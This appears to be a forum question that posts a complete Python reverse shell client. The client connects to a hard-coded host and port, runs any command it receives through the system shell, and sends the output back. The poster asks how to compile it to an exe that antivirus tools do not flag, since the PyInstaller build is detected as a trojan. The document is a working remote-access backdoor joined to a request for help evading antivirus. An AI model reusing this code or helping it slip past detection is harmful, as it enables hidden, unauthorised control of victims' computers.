When converting the reverse shell client.py python file to exe with pyinstaller it becomes detectable as a trojan on virustotal.com with most antivirus.
Here is my client file:
import os, socket, subprocess
s = socket.socket()
host = '192.168.1.81'
port = 9999
s.connect((host,port))
while True:
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) +'> '))
else:
break
s.close()
How do I convert the file into exe so that it stays undetected like when is in its python file format .py?